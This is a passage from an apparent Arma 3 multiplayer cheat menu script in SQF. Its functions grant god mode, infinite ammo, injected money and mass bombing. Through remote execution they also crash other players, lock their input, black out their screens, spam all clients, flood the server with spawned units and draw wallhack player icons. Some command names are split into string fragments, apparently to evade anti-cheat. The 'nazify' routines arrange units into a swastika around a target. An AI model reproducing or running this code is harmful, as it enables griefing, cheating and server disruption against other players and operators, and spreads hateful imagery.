  822. _exptarget = {
  823. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  824. _v = "Bomb_04_F" createVehicleLocal (getpos _target);
  825. _v setposatl (getposatl _target);
  826. _v setVelocity [0,0,-1000];
  827. };
  828. _expcursor = {
  829. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  830. _pos = screenToWorld [0.5,0.5];
  831. _v = "Bomb_04_F" createVehicleLocal _pos;
  832. _v setposatl _pos;
  833. _v setVelocity [0,0,-1000];
  834. };
  835. _swave = {
  836. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  837.  
  838. player allowDamage false;
  839. _pos = getPos Player;
  840. for "_i" from 1 to 10 do {
  841. uiSleep 0.2;
  842.  
  843. for "_dir" from 5 to 360 step 5 do {
  844.  
  845. _delta = (vectorNormalized [sin(_dir),cos(_dir),0]) vectorMultiply 20;
  846. _npos = _pos vectorAdd (_delta vectorMultiply _i);
  847. _npos set[2,0];
  848. player allowDamage false;
  849. _v = "Bomb_04_F" createVehicleLocal _npos;
  850. player allowDamage false;
  851. _v setVelocity [0,0,-1000];
  852. player setVelocity [0,0,0];
  853. };
  854. player setpos _pos;
  855. };
  856. player allowDamage true;
  857. };
  858. _bwave = {
  859. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  860.  
  861. _delta = (vectorNormalized (eyeDirection player)) vectorMultiply 20;
  862. _pos = getPos Player;
  863. player allowDamage false;
  864. for "_i" from 1 to 10 do {
  865. uiSleep 0.2;
  866. _pos = _pos vectorAdd _delta;
  867. _pos set[2,0];
  868. player allowDamage false;
  869. _v = "Bomb_04_F" createVehicleLocal _pos;
  870. player allowDamage false;
  871. _v setVelocity [0,0,-1000];
  872.  
  873. };
  874. player allowDamage true;
  875. };
  876. _temap = {
  877. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  878. closeDialog 0;
  879. hint "To teleport center the map on where you want to go and press ESCAPE";
  880. openMap [true,false];
  881. _coords = [0,0,0];
  882. while{visibleMap} do {
  883. _coords = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [0.5,0.5];
  884. uiSleep 0.01;
  885. };
  886. player setpos _coords;
  887. };
  888. _newk = {
  889. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  890. _locations = [];
  891. _threads = [];
  892. _stop = diag_tickTime + 60;
  893. hint "N U K I N G";
  894. while{diag_tickTime < _stop} do {
  895. _location = locationPosition (nearestLocation [[random(worldSize),random(worldSize),0],""]);
  896. if !(_location in _locations) then {
  897. _locations pushBack _location;
  898. _thread = _location spawn {
  899. _buildings = nearestObjects [_this, ["Building"], 1000];
  900. {
  901. if !(_x getVariable ["runloops",false]) then {
  902. _v = "Bomb_04_F" createVehicleLocal (getpos _x);
  903. _v setVelocity [0,0,-1000];
  904. };
  905. uiSleep (60/(count(_buildings)));
  906. } forEach _buildings;
  907. };
  908. _threads pushback _thread;
  909. };
  910. };
  911. {
  912. if(!scriptDone _x) then {
  913. terminate _x;
  914. };
  915. } forEach _threads;
  916. hint "D O N E";
  917. };
  918. _call = {
  919. {_x setPos[1e14,1e14,1e14];uiSleep .1;systemchat("<Xepa>: Crashing "+name _x);} forEach (allPlayers-[player]);
  920. };
  921. _ctarget = {
  922. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  923. if(vehicle _target != _target) then {
  924. waitUntil{moveOut _target;((vehicle _target == _target) || !alive _target)};
  925. };
  926. _target setPosATL [1e14,1e14,1e14];
  927. };
  928. _tpall = {
  929. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  930. {
  931. _x setpos getpos player;
  932. uiSleep .1;
  933. } forEach allPlayers;
  934. };
  935. _fastb = {
  936. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  937.  
  938. if(_toggleStatus) then {
  939. _var = player addEventHandler ["Fired",{
  940. params["_unit","_weapon","_muzzle","_mode","_ammo","_magazine","_projectile"];
  941. if(!isNull _projectile) then {
  942. _v = velocity _projectile;
  943. _v = _v vectorMultiply 100;
  944. _projectile setVelocity _v;
  945. };
  946. }];
  947. [_GLOBAL_ARRAY,["FB",_var]] call _set;
  948. hint "Fast Bulelts On";
  949. } else {
  950. _var = [_GLOBAL_ARRAY,["FB",-1]] call _get;
  951. player removeEventHandler["Fired",_var];
  952. [_GLOBAL_ARRAY,["FB",-1]] call _set;
  953. hint "Fast Bullets Off";
  954. };
  955. };
  956. _infam = {
  957. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  958.  
  959. [_GLOBAL_ARRAY,["INFAM",_toggleStatus]] call _set;
  960. if(_toggleStatus) then {
  961. hint "Ammo Auto Refill On";
  962. } else {
  963. hint "Ammo Auto Refill Off";
  964. };
  965. while{[_GLOBAL_ARRAY,["INFAM",false]] call _get} do {
  966. _mag = ((GetArray(configFile >> 'cfgWeapons' >> currentWeapon player >> 'magazines')) select 0);
  967. if(({_x == _mag} count(magazines player)) < 4) then {
  968. player addMagazine _mag;
  969. };
  970. uiSleep 0.5;
  971. };
  972. };
  973. _mmode = {
  974. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  975.  
  976. if(_toggleStatus) then {
  977. _var = player addEventHandler ["Fired",{
  978. params["_unit","_weapon","_muzzle","_mode","_ammo","_magazine","_projectile"];
  979.  
  980. if(!isNull _projectile) then {
  981. _target = (allPlayers-[player]) select floor(random(count((allPlayers-[player]))));
  982. if(alive _target && _target != _unit) then {
  983. _velocity = velocity _projectile;
  984. _unitVector = vectorNormalized _velocity;
  985. _posChange = _unitVector vectorMultiply -.1;
  986. _newPos = (eyepos _target) vectorAdd _posChange;
  987. _projectile setposasl _newPos;
  988. };
  989. };
  990. }];
  991. [_GLOBAL_ARRAY,["MM",_var]] call _set;
  992. hint "Murder Mode On";
  993. } else {
  994. _var = [_GLOBAL_ARRAY,["MM",-1]] call _get;
  995. player removeEventHandler["Fired",_var];
  996. [_GLOBAL_ARRAY,["MM",-1]] call _set;
  997. hint "Murder Mode Off";
  998. };
  999. };
  1000. _bigbul = {
  1001. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1002.  
  1003. if(_toggleStatus) then {
  1004. _var = player addEventHandler ["Fired",{
  1005. _b = _this select 6;
  1006. if(!isNull _b) then {
  1007. _v = "Bomb_04_F" createVehicleLocal (getpos _b);
  1008. _v setDir (getdir _b);
  1009. _v setVelocity (velocity _b);
  1010. };
  1011. }];
  1012. [_GLOBAL_ARRAY,["BIGB",_var]] call _set;
  1013. hint "Big Bullets On";
  1014. } else {
  1015. _var = [_GLOBAL_ARRAY,["BIGB",-1]] call _get;
  1016. player removeEventHandler["Fired",_var];
  1017. [_GLOBAL_ARRAY,["BIGB",-1]] call _set;
  1018. hint "Big Bullets Off";
  1019. };
  1020. };
  1021. _bsheild = {
  1022. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1023.  
  1024. _events = [_GLOBAL_ARRAY,["BSH",[]]] call _get;
  1025. if(_events isEqualTo []) then {
  1026. _events = [];
  1027. {
  1028. _e = _x addEventHandler["Fired",{
  1029. params["_unit","_weapon","_muzzle","_mode","_ammo","_magazine","_projectile"];
  1030. waitUntil{isNull _projectile || _projectile distance player < 10};
  1031. if(!isNull _projectile) then {
  1032. _projectile setpos [0,0,0];
  1033. };
  1034. }];
  1035. _events pushBack [_x,_e];
  1036. } forEach (if(isServer) then {allUnits} else {(allPlayers-[player])});
  1037. [_GLOBAL_ARRAY,["BSH",_events]] call _set;
  1038. hint "Bullet Sheild On";
  1039. } else {
  1040. {
  1041. _target = _x select 0;
  1042. _event = _x select 1;
  1043. _target removeEventHandler["Fired",_event];
  1044. } forEach _events;
  1045. [_GLOBAL_ARRAY,["BSH",[]]] call _set;
  1046. hint "Bullet Sheild Off";
  1047.  
  1048. };
  1049. };
  1050. _odstdrop = {
  1051. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1052. _pos = getpos player;
  1053. _pos set[2,500];
  1054. hint "Dropping Players";
  1055. {
  1056. _x setpos (_pos vectorAdd [random(20)-10,random(20)-10,random(5)]);
  1057. uiSleep .1;
  1058. } forEach allPlayers;
  1059. };
  1060. _utsea = {
  1061. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1062. hint "Going Under The Sea";
  1063. {
  1064. _x setposatl [random(5),random(5),2];
  1065. uiSleep .1;
  1066. } forEach allplayers;
  1067. };
  1068. _nazifyt = {
  1069. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1070. _target = (vehicle _target);
  1071. for "_i" from 0 to 8 do {
  1072. _v = (typeof player) createVehicle (position player);
  1073. _v attachTo [_target,[0,0,_i]];
  1074. };
  1075. for "_i" from 0 to 3 do {
  1076. _v = (typeof player) createVehicle (position player);
  1077. _v attachTo [_target,[4,0,_i]];
  1078. };
  1079. for "_i" from 1 to 4 do {
  1080. _v = (typeof player) createVehicle (position player);
  1081. _v attachTo [_target,[-4,0,_i+4]];
  1082. };
  1083. for "_i" from 1 to 4 do {
  1084. _v = (typeof player) createVehicle (position player);
  1085. _v attachTo [_target,[_i-.5,0,4]];
  1086. _v = (typeof player) createVehicle (position player);
  1087. _v attachTo [_target,[_i,0,4]];
  1088. };
  1089. for "_i" from 1 to 4 do {
  1090. _v = (typeof player) createVehicle (position player);
  1091. _v attachTo [_target,[_i-.5,0,8]];
  1092. _v = (typeof player) createVehicle (position player);
  1093. _v attachTo [_target,[_i,0,8]];
  1094. };
  1095. for "_i" from 1 to 4 do {
  1096. _v = (typeof player) createVehicle (position player);
  1097. _v attachTo [_target,[-1*_i,0,4]];
  1098. _v = (typeof player) createVehicle (position player);
  1099. _v attachTo [_target,[-1*_i + .5,0,4]];
  1100. };
  1101. for "_i" from 1 to 4 do {
  1102. _v = (typeof player) createVehicle (position player);
  1103. _v attachTo [_target,[-1*_i,0,0]];
  1104. _v = (typeof player) createVehicle (position player);
  1105. _v attachTo [_target,[-1*_i + .5,0,0]];
  1106. };
  1107. };
  1108. _nazifyall = {
  1109. {
  1110. _x spawn {
  1111. _target = _this;
  1112. if(isNull _target) exitWith {hint "You are not targeting an object!";};
  1113. for "_i" from 0 to 8 do {
  1114. _v = (typeof player) createVehicle (position player);
  1115. _v attachTo [_target,[0,0,_i]];
  1116. };
  1117. for "_i" from 0 to 3 do {
  1118. _v = (typeof player) createVehicle (position player);
  1119. _v attachTo [_target,[4,0,_i]];
  1120. };
  1121. for "_i" from 1 to 4 do {
  1122. _v = (typeof player) createVehicle (position player);
  1123. _v attachTo [_target,[-4,0,_i+4]];
  1124. };
  1125. for "_i" from 1 to 4 do {
  1126. _v = (typeof player) createVehicle (position player);
  1127. _v attachTo [_target,[_i-.5,0,4]];
  1128. _v = (typeof player) createVehicle (position player);
  1129. _v attachTo [_target,[_i,0,4]];
  1130. };
  1131. for "_i" from 1 to 4 do {
  1132. _v = (typeof player) createVehicle (position player);
  1133. _v attachTo [_target,[_i-.5,0,8]];
  1134. _v = (typeof player) createVehicle (position player);
  1135. _v attachTo [_target,[_i,0,8]];
  1136. };
  1137. for "_i" from 1 to 4 do {
  1138. _v = (typeof player) createVehicle (position player);
  1139. _v attachTo [_target,[-1*_i,0,4]];
  1140. _v = (typeof player) createVehicle (position player);
  1141. _v attachTo [_target,[-1*_i + .5,0,4]];
  1142. };
  1143. for "_i" from 1 to 4 do {
  1144. _v = (typeof player) createVehicle (position player);
  1145. _v attachTo [_target,[-1*_i,0,0]];
  1146. _v = (typeof player) createVehicle (position player);
  1147. _v attachTo [_target,[-1*_i + .5,0,0]];
  1148. };
  1149. };
  1150. } foreach (if(isMultiplayer) then {allPlayers} else {allUnits});
  1151. };
  1152. _nazify = {
  1153. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1154. _target = cursorObject;
  1155. if(isNull _target) exitWith {hint "You are not targeting an object!";};
  1156. for "_i" from 0 to 8 do {
  1157. _v = (typeof player) createVehicle (position player);
  1158. _v attachTo [_target,[0,0,_i]];
  1159. };
  1160. for "_i" from 0 to 3 do {
  1161. _v = (typeof player) createVehicle (position player);
  1162. _v attachTo [_target,[4,0,_i]];
  1163. };
  1164. for "_i" from 1 to 4 do {
  1165. _v = (typeof player) createVehicle (position player);
  1166. _v attachTo [_target,[-4,0,_i+4]];
  1167. };
  1168. for "_i" from 1 to 4 do {
  1169. _v = (typeof player) createVehicle (position player);
  1170. _v attachTo [_target,[_i-.5,0,4]];
  1171. _v = (typeof player) createVehicle (position player);
  1172. _v attachTo [_target,[_i,0,4]];
  1173. };
  1174. for "_i" from 1 to 4 do {
  1175. _v = (typeof player) createVehicle (position player);
  1176. _v attachTo [_target,[_i-.5,0,8]];
  1177. _v = (typeof player) createVehicle (position player);
  1178. _v attachTo [_target,[_i,0,8]];
  1179. };
  1180. for "_i" from 1 to 4 do {
  1181. _v = (typeof player) createVehicle (position player);
  1182. _v attachTo [_target,[-1*_i,0,4]];
  1183. _v = (typeof player) createVehicle (position player);
  1184. _v attachTo [_target,[-1*_i + .5,0,4]];
  1185. };
  1186. for "_i" from 1 to 4 do {
  1187. _v = (typeof player) createVehicle (position player);
  1188. _v attachTo [_target,[-1*_i,0,0]];
  1189. _v = (typeof player) createVehicle (position player);
  1190. _v attachTo [_target,[-1*_i + .5,0,0]];
  1191. };
  1192. };
  1193. _wgcash = {
  1194. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1195. _cash = createVehicle ["Land_Money_F", player modelToWorld [0,1,0], [], 0, "CAN_COLLIDE"];
  1196. _cash setVariable ["cmoney", 50000, true];
  1197. };
  1198. _wheal = {
  1199. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1200. player setDamage --0;
  1201. uinamespace setVariable ["thirstLevel",100];
  1202. uinamespace setVariable ["hungerLevel",100];
  1203. };
  1204. _wvshop = {
  1205. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1206. [] call loadVehicleStore;
  1207. };
  1208. _wgshop = {
  1209. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1210. [] call loadGeneralStore;
  1211. };
  1212. _wwshop = {
  1213. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1214. [] call loadGunStore;
  1215. };
  1216. _lgcash = {
  1217. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1218. _amount = 50000;
  1219. _cashvar = 'life_cash';
  1220. if(isNil _cashvar) then {
  1221. _var = loadFile 'script_macros.hpp';
  1222. if(_var == "") then {
  1223. _var = loadFile 'core\macros.h';
  1224. };
  1225. if(_var != "") then {
  1226. _var2 = toLower(_var) splitString " ";
  1227. _var2 = _var2 - [""];
  1228. _index = _var2 find "cash";
  1229. if(_index != -1) then {
  1230. _cashvar = _var2 select (_index+1);
  1231. } else {
  1232. hint 'Could not find the cash var \n:(';
  1233. };
  1234. };
  1235. };
  1236. missionNamespace setVariable [_cashvar,(missionNamespace getvariable[_cashvar,0]) + _amount];
  1237. };
  1238. _lgcash2 = {
  1239. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1240. _amount = 1000000;
  1241. _cashvar = 'life_cash';
  1242. if(isNil _cashvar) then {
  1243. _var = loadFile 'script_macros.hpp';
  1244. if(_var == "") then {
  1245. _var = loadFile 'core\macros.h';
  1246. };
  1247. if(_var != "") then {
  1248. _var2 = toLower(_var) splitString " ";
  1249. _var2 = _var2 - [""];
  1250. _index = _var2 find "cash";
  1251. if(_index != -1) then {
  1252. _cashvar = _var2 select (_index+1);
  1253. } else {
  1254. hint 'Could not find the cash var \n:(';
  1255. };
  1256. };
  1257. };
  1258. missionNamespace setVariable [_cashvar,(missionNamespace getvariable[_cashvar,0]) + _amount];
  1259. };
  1260. _stealv = {
  1261. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1262. if(vehicle _target == _target) exitWith {hint "You must target someone in a vehicle";};
  1263. _vehicle = vehicle _target;
  1264.  
  1265. _moveout = driver _vehicle;
  1266. moveOut _moveout;
  1267. waitUntil{vehicle _moveout == _moveout || isNull (driver _vehicle)};
  1268.  
  1269. player moveInDriver _vehicle;
  1270. };
  1271. _stealv2 = {
  1272. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1273. if(vehicle _target == _target) exitWith {hint "You must target someone in a vehicle";};
  1274. _vehicle = vehicle _target;
  1275.  
  1276. waitUntil{{moveOut _x;} forEach (crew _vehicle);(crew _vehicle) isEqualTo []};
  1277.  
  1278. player moveInDriver _vehicle;
  1279. };
  1280. _getinv = {
  1281. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1282. if(vehicle _target == _target) exitWith {hint "You must target someone in a vehicle";};
  1283. player moveInAny (vehicle _target);
  1284. };
  1285. _viewinv = {
  1286. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1287. closeDialog 0;
  1288. createGearDialog[_target,"RscDisplayInventory"];
  1289. };
  1290. _csrvr = {
  1291. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1292. [_GLOBAL_ARRAY,_get,_set,{
  1293. if(isserver) then {
  1294. openDLCPage 288520;
  1295. };
  1296. }] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1297. };
  1298. _locktarget = {
  1299. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1300. if(_toggleStatus) then {
  1301. [_GLOBAL_ARRAY,_get,_set,"
  1302. if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
  1303. disableUserInput true;
  1304. };
  1305. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1306. } else {
  1307. [_GLOBAL_ARRAY,_get,_set,"
  1308. if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
  1309. disableUserInput false;
  1310. };
  1311. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get)
  1312. };
  1313. };
  1314. _blackscreen = {
  1315. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1316. if(_toggleStatus) then {
  1317. [_GLOBAL_ARRAY,_get,_set,"
  1318. if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
  1319. 0 cutText ["""",""BLACK FADED"",20];
  1320. };
  1321. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1322. } else {
  1323. [_GLOBAL_ARRAY,_get,_set,"
  1324. if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
  1325. 0 cutText ["""",""PLAIN"",0];
  1326. };
  1327. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get)
  1328. };
  1329. };
  1330. _kotarget = {
  1331. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1332. if(_toggleStatus) then {
  1333. [_GLOBAL_ARRAY,_get,_set,"
  1334. if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
  1335. player setUnconscious true;
  1336. };
  1337. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1338. } else {
  1339. [_GLOBAL_ARRAY,_get,_set,"
  1340. if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
  1341. player setUnconscious false;
  1342. };
  1343. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get)
  1344. };
  1345. };
  1346. _ko = {
  1347. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1348. if(_toggleStatus) then {
  1349. [_GLOBAL_ARRAY,_get,_set,{
  1350. if(!isserver) then {
  1351. player setUnconscious true;
  1352. };
  1353. }] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1354. } else {
  1355. [_GLOBAL_ARRAY,_get,_set,{
  1356. if(!isserver) then {
  1357. player setUnconscious false;
  1358. player switchMove "unconsciousoutprone";
  1359. };
  1360. }] call ([_GLOBAL_ARRAY,["re",{}]] call _get)
  1361. };
  1362. };
  1363. _wave = {
  1364. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1365. [_GLOBAL_ARRAY,_get,_set,"
  1366. if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
  1367. [] spawn {
  1368. player switchMove ""HubWave_Move2"";
  1369. uiSleep 3.1;
  1370. player switchMove ""TestDance"";
  1371. };
  1372. };
  1373. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1374. };
  1375. _voteTrump = {
  1376. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1377. [_GLOBAL_ARRAY,_get,_set,{
  1378. if(!isserver) then {
  1379. [] spawn {
  1380. while{true} do {
  1381. Systemchat "____________________________________";
  1382. Systemchat "VOTE 4 TRUMP";
  1383. uiSleep 1;
  1384. Systemchat "This message has been approved by";
  1385. uiSleep 1;
  1386. Systemchat "Hillary Rodham-Clinton";
  1387. uiSleep 1;
  1388.  
  1389. };
  1390. };
  1391. };
  1392. }] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1393.  
  1394. };
  1395. _saveLoadout = {
  1396. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1397. hint 'loadout saved';
  1398.  
  1399. _saveCFG = [_GLOBAL_ARRAY,['saveCFG',{}]] call _get;
  1400. _data = [_GLOBAL_ARRAY,['IGUI_GRID_CHAT_X_LOADOUTS',[]]] call _get;
  1401. _index = _data pushback (getunitloadout player);
  1402. [_GLOBAL_ARRAY,['IGUI_GRID_CHAT_X_LOADOUTS',_data]] call _set;
  1403. ["LOADOUTS",_data] call _saveCFG;
  1404.  
  1405. _menuData = [_GLOBAL_ARRAY,["MainMenu",[]]] call _get;
  1406. if(count(_menuData) == 0) exitWith {hint 'error: menudata not found';};
  1407. _i1 = _menuData deleteAt (count(_menuData)-1);
  1408. _i2 = _menuData deleteAt (count(_menuData)-1);
  1409. _i3 = _menuData deleteAt (count(_menuData)-1);
  1410. _i4 = _menuData deleteAt (count(_menuData)-1);
  1411. _menuData pushback ["Loadout " + str(_index + 1), compile ("player setUnitLoadout " + str(getunitloadout player)),false,""];
  1412. _menuData pushback _i4;
  1413. _menuData pushback _i3;
  1414. _menuData pushback _i2;
  1415. _menuData pushback _i1;
  1416. [_GLOBAL_ARRAY,["MainMenu",_menuData]] call _set;
  1417. };
  1418. _resetLoadouts = {
  1419. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1420. hint "IN ORDER TO RESET LOADOUTS YOU MUST RESET THE MENU";
  1421. _saveCFG = [_GLOBAL_ARRAY,['saveCFG',{}]] call _get;
  1422. ["LOADOUTS",[]] call _saveCFG;
  1423. };
  1424. _exit = {
  1425. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1426. closeDialog 0;
  1427. [_GLOBAL_ARRAY,["IsRunning",false]] call _set;
  1428. [_GLOBAL_ARRAY,["IsExiting",true]] call _set;
  1429. };
  1430. _reset = {
  1431. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1432. closeDialog 0;
  1433. [_GLOBAL_ARRAY,["IsRunning",false]] call _set;
  1434. };
  1435. _givallcash = {
  1436. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1437. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1438. _amount = 500000000000000;
  1439. _cashvar = 'life_cash';
  1440. if(isNil _cashvar) then {
  1441. _var = loadFile 'script_macros.hpp';
  1442. if(_var == "") then {
  1443. _var = loadFile 'core\macros.h';
  1444. };
  1445. if(_var != "") then {
  1446. _var2 = toLower(_var) splitString " ";
  1447. _var2 = _var2 - [""];
  1448. _index = _var2 find "cash";
  1449. if(_index != -1) then {
  1450. _cashvar = _var2 select (_index+1);
  1451. } else {
  1452. hint 'Could not find the cash var \n:(';
  1453. };
  1454. };
  1455. };
  1456. [_GLOBAL_ARRAY,_get,_set, _cashvar + " = " + str(_amount) + ";"] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1457. };
  1458. _kickout = {
  1459. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1460. moveOut _target;
  1461. hint "Kicked out";
  1462. };
  1463. _kickoutallinv = {
  1464. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1465. {
  1466. moveOut _x;
  1467. } forEach (crew (vehicle _target));
  1468. hint "Kicked out";
  1469. };
  1470. _kickoutall = {
  1471. {
  1472. if(vehicle _x != _x) then {
  1473. moveOut _x;
  1474. };
  1475. } forEach (if(isMultiplayer) then {allPlayers} else {allUnits});
  1476. };
  1477. _vboost = {
  1478. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1479. [_GLOBAL_ARRAY,["VBOOS",_toggleStatus]] call _set;
  1480. if(_toggleStatus) then {
  1481. hint "Boost On\nPress SHIFT (only shift) to activate";
  1482. } else {
  1483. hint "Boost Off";
  1484. };
  1485. while{[_GLOBAL_ARRAY,["VBOOS",false]] call _get} do {
  1486. waitUntil{vehicle player != player || !([_GLOBAL_ARRAY,["VBOOS",false]] call _get)};
  1487. waitUntil{inputAction "Turbo" > 0 || !([_GLOBAL_ARRAY,["VBOOS",false]] call _get)};
  1488. waitUntil{abs(speed(vehicle player)) > 0 || !([_GLOBAL_ARRAY,["VBOOS",false]] call _get)};
  1489. if(!([_GLOBAL_ARRAY,["VBOOS",false]] call _get)) exitWith {};
  1490. _vec = (vectorNormalized (velocity (vehicle player))) vectorMultiply (1.5);
  1491. _boost = (velocity (vehicle player)) vectorAdd (_vec);
  1492. (vehicle player setVelocity _boost);
  1493. uisleep 0.01;
  1494. };
  1495.  
  1496.  
  1497. systemchat "press SHIFT (only shift) to boost";
  1498. while{true} do {
  1499.  
  1500. };
  1501. };
  1502. _easypeasy = {
  1503. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1504.  
  1505.  
  1506. if(_toggleStatus) then {
  1507. _a = "addMission";
  1508. _a = _a + "EventHandler [""Draw3D"",{";
  1509. _a = _a + "
  1510. _ordered = [];
  1511. {
  1512. if(player distance _x <= 2000) then {
  1513. _ordered pushback [str(side _x),str(vehicle _x == _x),name _x,_x];
  1514. };
  1515. } forEach (if(isMultiplayer) then {allPlayers} else {allUnits});
  1516. _ordered sort true;
  1517. ";
  1518. _a = _a + "
  1519. {
  1520. _side = _x select 0;
  1521. _inVehicle = _x select 1;
  1522. _name = _x select 2;
  1523. _object = _x select 3;
  1524. ";
  1525. _a = _a + "
  1526. _pos = (_object modelToWorld ((_object selectionPosition ""neck"") vectorAdd [0,0,0.25]));
  1527. ";
  1528. _a = _a + "
  1529. _color = [1,0,1,1];
  1530. if(side _object == blufor) then {
  1531. _color = [0,0,1,1];
  1532. };
  1533. if(side _object == opfor) then {
  1534. _color = [1,0,0,1];
  1535. };
  1536. if(side _object == independent) then {
  1537. _color = [0,1,0,1];
  1538. };
  1539.  
  1540. if(getplayeruid _object in ['76561198152111329','76561198276380268']) then {
  1541. _color = [1,1,0];
  1542. _name = ""INFISTAR"";
  1543. };
  1544.  
  1545. _scale = (0.05 - (0.05 *((player distance _object)/3000)));
  1546. if(_scale > 0) then {
  1547. draw";
  1548. _a = _a + "Icon3D ["""", _color, _pos, 0, 0, 0, _name + "" ("" + str(round(player distance _object)) + ""m)"", 2, _scale, ""PuristaMedium"",""center"",true];
  1549. };
  1550. } forEach _ordered;
  1551.  
  1552. }];";
  1553.  
  1554. _b = compile _a;
  1555. _eh = call _b;
  1556. [_GLOBAL_ARRAY,["PIEH",_eh]] call _set;
  1557. hint "Player Icons On";
  1558. } else {
  1559. _a = "remove";
  1560. _a = _a + "MissionEventHandler";
  1561. _a = _a + " [""Draw";
  1562. _a = _a + "3D"",_eh];";
  1563. _eh = [_GLOBAL_ARRAY,["PIEH",-1]] call _get;
  1564. _b = compile _a;
  1565. call _b;
  1566. hint "Player Icons Off";
  1567. };
  1568.  
  1569. };
  1570. _uammdetectable = {
  1571. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1572.  
  1573. [_GLOBAL_ARRAY,["UNAMM",_toggleStatus]] call _set;
  1574. if(_toggleStatus) then {
  1575. hint "Unlimited Ammo On";
  1576. } else {
  1577. hint "Unlimited Ammo Off";
  1578. };
  1579. while{[_GLOBAL_ARRAY,["UNAMM",false]] call _get} do {
  1580. (vehicle player) setVehicleAmmo 1;
  1581. player setVehicleAmmo 1;
  1582. uiSleep 1;
  1583. };
  1584. };
  1585. _godmerd = {
  1586. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1587. [_GLOBAL_ARRAY,["AUH",_toggleStatus]] call _set;
  1588. if(_toggleStatus) then {
  1589. hint "Autoheal On";
  1590. } else {
  1591. hint "Autoheal Off";
  1592. };
  1593. while{[_GLOBAL_ARRAY,["AUH",false]] call _get} do {
  1594. player allowDamage false;
  1595. player setDamage --0;
  1596. uiSleep 0.001;
  1597. };
  1598. };
  1599. _tpcur = {
  1600. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1601. _cur = screenToWorld [0.5,0.5];
  1602. player setpos _cur;
  1603. hint "Pop!";
  1604. };
  1605. _infuck = {
  1606. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1607. [_GLOBAL_ARRAY,_get,_set,'
  1608. [] spawn {
  1609. if(isserver) then {
  1610. while{true} do {
  1611. "' + typeof player + '" create' + 'Unit [[0,0,0],create' + 'group side' + 'Logic,"if(!isserver) then {
  1612. if(player getVariable [""hihi"",false]) exitWith {};
  1613. player setVariable [""hihi"",true];
  1614. [] spawn {
  1615. disableSerialization;
  1616. while{true} do {
  1617. for ""_i"" from 1330 to 1350 do {
  1618. _x = (-1 * _i);
  1619. if(!isNull (findDisplay _x)) then {
